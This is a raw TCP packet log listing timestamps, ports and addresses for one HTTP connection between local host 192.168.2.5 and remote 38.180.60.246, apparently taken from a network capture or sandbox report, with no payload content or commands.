Jul 15, 2024 00:48:23.615758896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615771055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615773916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615792990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615797997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615807056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615819931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615823984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615830898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615843058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615849018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615856886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615870953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615879059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615883112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615895987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615895987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615909100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615912914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615925074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615936995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615937948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615951061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615964890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.615966082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.615983963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616178036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616190910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616204023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616208076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616214991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616245985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616339922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616353989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616365910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616378069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616384029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616391897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616395950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616405010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616419077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616422892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616436958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616446972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616449118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616457939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616463900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.616496086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.616518974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651237965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651276112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651295900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651312113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651314020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651326895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651340961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651352882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651367903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651381016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651384115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651395082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651408911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.651418924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651436090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.651454926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702105999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702126026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702140093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702187061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702210903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702228069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702228069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702240944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702251911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702255964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702280045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702306032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702337980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702373981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702379942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702393055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702404976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702414989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702429056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702445030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702567101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702585936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702596903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.702605009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702619076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.702639103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.703119040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.703131914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.703151941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.703165054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.703166962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.703177929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.703196049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.703212976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.703246117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.703258991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.703283072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.703298092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704049110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704061031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704073906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704091072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704112053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704121113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704133987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704148054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704157114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704161882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704184055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704210043 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704257011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704271078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704294920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704308987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704325914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704349041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704360962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704364061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704382896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704400063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704431057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704443932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704464912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704488993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704499006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704511881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704534054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704550028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704588890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704602957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704628944 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704638958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704646111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704658031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704674959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704683065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704689980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704695940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704709053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704719067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704721928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704735994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704741955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704751968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704780102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704905987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704920053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.704943895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.704960108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705010891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705024958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705043077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705056906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705094099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705106020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705127954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705142975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705224037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705236912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705250978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705261946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705264091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705279112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705296040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705452919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705472946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705486059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705491066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705497980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705511093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705518007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705523968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705538034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705545902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705554962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705564022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705591917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705647945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705661058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705684900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705709934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705720901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705734968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705756903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705773115 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705843925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705862999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705876112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705883980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705888033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705899954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705900908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.705914021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.705934048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706007004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706044912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706120968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706134081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706146955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706156969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706159115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706171989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706180096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706185102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706192970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706201077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706216097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706221104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706228971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706238985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706244946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706265926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706291914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706562042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706573963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706585884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706597090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706604958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706609011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706620932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706630945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706634045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706645966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706645966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706659079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706671953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706672907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706686020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706697941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706697941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706717014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706732035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706875086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706895113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706913948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706918001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706928015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706929922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706943035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706952095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706954956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706968069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.706968069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706981897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.706984997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.707005024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.707010031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.707019091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.707031012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.707036972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.707043886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.707063913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.707079887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.741842985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.741858959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.741904020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.741929054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.741950989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.741961956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.741965055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.741997004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.742245913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.742258072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.742269993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.742285013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.742311954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792635918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792664051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792678118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792692900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792735100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792735100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792809963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792824030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792835951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792845964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792850018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792861938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792880058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792956114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792968035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792979956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.792989969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.792993069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793016911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793041945 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793147087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793160915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793174028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793184996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793200016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793217897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793678045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793718100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793745041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793757915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793777943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793793917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793816090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793829918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793850899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793864965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793908119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793920994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.793943882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.793960094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.794634104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794646978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794660091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794677973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.794701099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.794718981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794730902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794745922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794753075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.794759989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794770002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.794785976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.794801950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.794934988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.794975042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795341015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795355082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795367002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.795377016 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795392990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795408964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.795435905 CEST	80	49704	38.180.60.246	192.168.2.5
